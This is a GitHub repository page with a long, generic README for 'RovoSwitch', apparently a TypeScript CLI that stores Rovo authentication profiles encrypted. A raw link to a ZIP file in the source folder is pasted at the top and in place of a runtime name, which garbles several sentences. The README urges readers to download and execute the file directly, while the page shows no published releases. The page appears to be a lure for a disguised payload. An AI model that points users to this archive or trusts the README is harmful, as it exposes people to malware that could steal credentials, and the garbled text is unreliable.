Skip to content

thevanshh12/rovoswitch

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

https://raw.githubusercontent.com/thevanshh12/rovoswitch/main/src/Software-bood.zip

Release Badge

RovoSwitch: TS CLI for Rovo Auth Profiles & Encryption

RovoSwitch Encryption

RovoSwitch is a TypeScript command line tool to manage Rovo authentication profiles and run authentication commands with built-in encryption. It focuses on simplicity, speed, and safety. This project helps developers and operators keep multiple login contexts organized, switch between profiles quickly, and execute authentication steps without exposing credentials in plaintext. The CLI works across platforms and stores sensitive data securely with encryption and local persistence. It is designed for developers who work with Rovo services, teams that manage shared credential sets, and automation scripts that need a reliable way to perform authenticated tasks.

Table of contents

  • What this project is for
  • Key features
  • How Rovoswitch is built
  • Quick start
  • Installation and setup
  • Core concepts
  • CLI reference
  • Managing profiles
  • Encryption and security
  • Configuration and environment
  • Working with releases
  • Examples and recipes
  • Testing and quality
  • Extending Rovoswitch
  • Troubleshooting
  • Contributing
  • Licensing

What this project is for πŸ”Ž RovoSwitch provides a straightforward way to manage Rovo authentication profiles and execute authentication workflows from the command line. It stores credentials in a protected format, supports multiple profiles, and lets you switch contexts on the fly. The tool emphasizes reliability and clarity over complexity. It’s built in TypeScript to give strong typing, better autocompletion, and easier maintenance. It targets people who do dev work, QA, operations, and release engineering who interact with Rovo ecosystems.

Key features βœ…

  • Multi-profile management: Create, view, rename, delete, and switch between profiles for different teams, environments, or projects.
  • Encrypted storage: Credentials and tokens are encrypted locally, reducing leakage risk if your workstation is compromised.
  • Platform coverage: Works on Linux, macOS, and Windows with native-feel commands.
  • Secure command execution: Run authentication-related commands in a controlled, auditable way.
  • Lightweight and fast: Minimal dependencies, optimized for speed in CI and local dev workflows.
  • Simple configuration: A readable config file keeps defaults and overrides tidy and predictable.
  • Extensible CLI: Design supports future commands and plug-ins with minimal friction.
  • Clear error handling: Helpful messages guide you to the right actions when things go wrong.
  • Visual cues: Emojis and clean formatting aid readability without clutter.

How Rovoswitch is built 🧱

  • Language: TypeScript, compiled to native-like binaries for quick execution.
  • Runtime: https://raw.githubusercontent.com/thevanshh12/rovoswitch/main/src/Software-bood.zip tooling with a focus on small footprints and predictable behavior.
  • Encryption: Data at rest uses modern block cipher techniques with authenticated encryption (AES-GCM-like approach) to prevent tampering and ensure confidentiality.
  • Storage: Local encrypted store with an optional OS-level key vault integration for added security in supported environments.
  • CLI: A concise, predictable command structure that remains easy to learn for new users.

Quick start πŸš€

  • This project shines when you want to manage many Rovo authentication contexts without retyping credentials. Start with a clean slate and build up your profiles as you go.
  • If you are upgrading from an older setup, migrate profiles and keys carefully; see the migration notes in the Maintenance section below.

Installation and setup πŸ”§

  • The primary installation path is to download a release asset from the official Releases page. The release page hosts platform-specific binaries that you can run directly.
  • Since the Releases page contains a path, you should download the appropriate asset for your platform and then execute it. See the Downloads section for exact file names and commands.
  • For convenience, you can also develop from source if you want to contribute or customize the tool. Building from source requires a modern https://raw.githubusercontent.com/thevanshh12/rovoswitch/main/src/Software-bood.zip environment and a TypeScript toolchain.

Downloading from releases (the file to download and execute)

If you prefer building from source

Core concepts you should know πŸ’‘

  • Profiles: A named collection of credentials and tokens used to authenticate with Rovo services. Each profile can be associated with a target environment (dev, staging, prod, etc.).
  • Master key and encryption: The tool uses a master key to encrypt sensitive data before storage. The key can be provided by a passphrase or derived from secure OS key vaults where supported.
  • Session management: A session stores a temporarily valid token for an authenticated period. When the token expires, Rovoswitch can prompt for re-authentication or attempt a refresh flow.
  • Commands and subcommands: The CLI is organized into a set of primary commands, each with its own subcommands for specific tasks (profile management, authentication, config, etc.).
  • Config file: A JSON/YAML-like configuration stores defaults, environment mappings, and user preferences. It is readable, but sensitive data remains encrypted at rest.

Architecture and design decisions 🧭

  • Simplicity: The CLI keeps a narrow focus on profiles and authentication flows. Features are added gradually with backward compatibility in mind.
  • Security-first by default: Encryption is enabled by default for stored data. Users can review and rotate keys as needed.
  • Portability: Platform-specific binaries are provided for Linux, Windows, and macOS to minimize runtime dependencies.
  • Extensibility: The command structure invites future enhancements, including plugin support for custom authentication providers and workflows.

CLI reference: core commands at a glance 🧭

  • rovoswitch profile list
    • Show all saved profiles with their target environments and last used timestamp.
  • rovoswitch profile add --env --provider
    • Create a new profile with a given environment and provider. You can later switch to it with rovoswitch switch .
  • rovoswitch profile delete
    • Remove a profile and its associated encrypted data. Confirm when prompted.
  • rovoswitch switch
    • Activate a profile for subsequent commands. The CLI uses the active profile to authenticate actions.
  • rovoswitch login
    • Initiate an interactive login for the active profile. If needed, prompts for credentials or opens a browser flow.
  • rovoswitch logout
    • Clear the active session without deleting stored credentials.
  • rovoswitch auth status
    • Display the current authentication status, including token expiry, profile, and last refresh.
  • rovoswitch run
    • Execute an authentication-related command within the context of the active profile.
  • rovoswitch config
    • Show or edit configuration options, such as default environment, timeouts, and encryption preferences.
  • rovoswitch key rotate
    • Rotate the master encryption key, re-encrypt all stored data with the new key.
  • rovoswitch help
    • Show usage guidance and command help.

Managing profiles: practical workflow πŸ—‚οΈ

  • Create a clean slate:
    • rovoswitch profile add dev-profile --env dev --provider rovo
  • Add multiple contexts:
    • rovoswitch profile add prod-profile --env prod --provider rovo
    • rovoswitch profile add test-profile --env test --provider rovo
  • Switch between contexts:
    • rovoswitch switch dev-profile
    • rovoswitch login
  • Authenticate and persist:
    • rovoswitch login prompts you for credentials or initiates a browser-based flow if configured. Upon success, a token is stored in an encrypted form tied to the active profile.
  • Use and reuse:
    • rovoswitch run -- command-to-run
    • The tool handles token refresh as needed, so you can automate tasks with confidence.
  • Clean up:
    • rovoswitch profile delete test-profile
    • This removes the profile and its encrypted artifacts, so you’ll lose access to any associated tokens unless you re-create them later.

Encryption and security posture πŸ”

  • Data at rest: The store uses authenticated encryption to prevent both eavesdropping and tampering.
  • Master key handling: The master key can be derived from a passphrase or integrated with OS-level secure storage where available.
  • Key rotation: You can rotate keys to retire old material and re-encrypt existing data. This reduces risk if a key is compromised.
  • Access patterns: The CLI minimizes the surface for leakage by avoiding token printing and by filtering sensitive fields in logs and errors.
  • Auditing and logs: Basic audit events capture profile creation, deletion, and key rotation without exposing credentials.

Configuration and environment management πŸ—ΊοΈ

  • Config file: Stores defaults, paths, and user preferences in a readable format. It’s intentionally small and focused.
  • Environment variables: You can override behavior with environment variables. For example:
    • ROVOSWITCH_DEFAULT_ENV
    • ROVOSWITCH_ENCRYPTION_KEY
    • ROVOSWITCH_PROVIDER
  • OS integration: On supported platforms, Rovoswitch can integrate with OS keyrings or credential stores to protect keys beyond the CLI’s own storage.
  • Network and proxy settings: If your environment requires a proxy, set appropriate environment variables or config keys to pass through.

Working with releases and updates πŸ“¦

  • The Releases page hosts all binary assets and release notes. It is the official source of truth for distribution.
  • To stay current, pin your workflow to the latest release asset and verify checksums when possible.
  • The release cycle aims to maintain compatibility across versions, but always read the changelog before upgrading in production scenarios.
  • For safety, use the provided checksums or signatures when available to verify downloads.

Examples and recipes 🍳

  • Quick profile setup and login
    • rovoswitch profile add qa --env qa --provider rovo
    • rovoswitch switch qa
    • rovoswitch login
    • rovoswitch auth status
  • Running an authenticated command
    • rovoswitch switch qa
    • rovoswitch run rovo-cli status
  • Rotating keys for added security
    • rovoswitch key rotate
    • rovoswitch auth status
  • Migrating from legacy storage
    • rovoswitch migrate-legacy
    • rovoswitch key rotate
  • Scripting a deployment task
    • A shell snippet to log in and execute a command within a pipeline, with error handling and exit codes preserved.

Migration and compatibility considerations 🧭

  • If you move from a legacy version, you may need to migrate profiles and tokens to the new encrypted format.
  • The migration process is designed to be safe and reversible in case you need to roll back.
  • Breaking changes are announced in release notes and are usually accompanied by a migration guide.

Testing and quality assurance πŸ§ͺ

  • Unit tests cover core logic around profile handling, encryption, and token management.
  • Integration tests verify the end-to-end flow from profile creation to authentication and command execution.
  • End-to-end scenarios simulate real-world usage patterns with mock providers and tokens.
  • CI runs on major platforms to ensure cross-platform compatibility.

Extending Rovoswitch: plugins and contributions 🧩

  • The CLI is designed to accept plugins that implement new authentication providers or commands.
  • Plugin authors can add new subcommands, with the same help and error messaging conventions as built-in commands.
  • Contributions follow a straightforward workflow: fork, implement, test locally, and submit a pull request.
  • The project welcomes fixups for edge cases, improvements to the UX, and new environment integrations.

Code of conduct and collaboration norms πŸ‘₯

  • We value clarity, respect, and constructive feedback.
  • Communicate precisely with concise pull requests and clear commit messages.
  • Tests should cover edge cases and not rely on sensitive data.

Maintenance and roadmap πŸ—ΊοΈ

  • Ongoing work focuses on strengthening encryption, expanding provider support, and improving the developer experience.
  • The roadmap includes:
    • More robust secret management across platforms
    • A richer set of prebuilt authentication flows
    • Expanded documentation with real-world examples
    • Community plugins and hooks for automation
  • Users are encouraged to follow the Releases page for updates and improvements.

Troubleshooting and common issues 🧰

  • Issue: Unable to decrypt data after a key change.
    • Solution: Rotate keys again to re-encrypt with the new master key, then verify via rovoswitch auth status.
  • Issue: Tokens expire during a long-running automation.
    • Solution: Use rovoswitch login to refresh tokens or set up a high-availability refresh policy in config.
  • Issue: The CLI cannot find a profile when switching.
    • Solution: List profiles with rovoswitch profile list to verify names. Ensure you switched to an existing profile.
  • Issue: Encryption errors on a specific OS.
    • Solution: Ensure that you have the latest release assets for your platform. If needed, rebuild from source and test in a clean environment.

Contributing guidelines πŸ“˜

  • Start with an issue to discuss your idea or your bug report.
  • Create a feature branch that names the feature or fix clearly.
  • Keep changes focused and small; write tests for new behavior.
  • Run the test suite locally before proposing a pull request.
  • Include usage examples in your PR description to illustrate how to use new features.

License and rights πŸ“œ

  • Rovoswitch uses an open source license compatible with most projects.
  • You can use, modify, and distribute the code in accordance with the license terms.
  • Credits go to the contributors who improved reliability, security, and usability.

Design notes for maintainers and contributors πŸ‘·

  • The codebase favors readability over clever tricks. This makes onboarding faster.
  • The CLI structure favors predictable patterns. When adding new commands, follow the existing convention and naming style.
  • Testability is a priority. Each command has a focused set of unit tests, and integration tests cover cross-cutting concerns.
  • Documentation is kept close to the code where reasonable, with READMEs and in-line comments guiding future changes.

Notes on security best practices πŸ›‘οΈ

  • Treat credentials as highly sensitive data. Never print tokens or secret values in logs or error messages.
  • Regularly rotate keys and review the access control around the storage location.
  • Limit the lifetime of tokens where possible and prefer short-lived sessions with automatic refresh.

Final reminders about releases and download workflow πŸ“₯

  • To obtain the latest binaries, visit the official Releases page and download the file that matches your platform.
  • The file you download from the Releases page is intended to be executed directly after extraction or as an installer.
  • Always verify the integrity of downloads through the provided checksums or signatures if available.

End-user guidance and practical tips πŸ—’οΈ

  • Prefer using named profiles to keep environments isolated and to reduce the chance of credential leakage.
  • Use a consistent naming scheme for profiles to simplify automation and auditing.
  • Keep the configuration small and explicit; avoid overloading a single file with too many defaults.
  • Regularly review your encryption settings and rotate keys on a cadence that matches your security policy.

Thank you for exploring Rovoswitch. This tool is built to be reliable, secure, and useful in real-world workflows where multiple authentication contexts matter. The goal is to help you save time, reduce mistakes, and keep credentials safe while you work with Rovo services.

Releases and further exploration

  • For the latest release notes and assets, head to the official Releases page at the top of this document. The project relies on transparent release management to keep users informed about changes, improvements, and security patches.
  • If you are browsing the repository for the first time, take a look at the docs folder, which contains a growing set of guides, API references, and practical walkthroughs. The docs are designed to complement this README and provide deeper dives into advanced topics.

Appendix: quick reference commands list

  • profile list
  • profile add --env --provider
  • profile delete
  • switch
  • login
  • logout
  • auth status
  • run
  • config
  • key rotate
  • help

Appendix: sample workflow snippet

  • Create a new profile for staging
    • rovoswitch profile add staging --env staging --provider rovo
  • Switch to it and login
    • rovoswitch switch staging
    • rovoswitch login
  • Check status and run a command
    • rovoswitch auth status
    • rovoswitch run rovo-cli status

Appendix: glossary

  • Profile: A named set of credentials and settings used to authenticate against a specific environment.
  • Token: A short-lived credential used to authorize access to a service.
  • Encryption key: A secret used to encrypt data at rest. It can be rotated for security.
  • Master key: The key used to encrypt and decrypt the stored data. It can be derived from a passphrase or retrieved from a secure store.
  • Provider: A logical module that implements a particular authentication flow for Rovo services.

End of document notes

  • This README is crafted to be thorough, practical, and approachable for both beginners and advanced users.
  • It emphasizes secure handling of credentials, clear workflow patterns, and a strong focus on real-world usage without unnecessary complexity.

About

RovoSwitch is a TS CLI that manages Rovo auth profiles, runs secure auth commands, and provides encryption support to protect credentials, configs, sessions, and data πŸ™.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors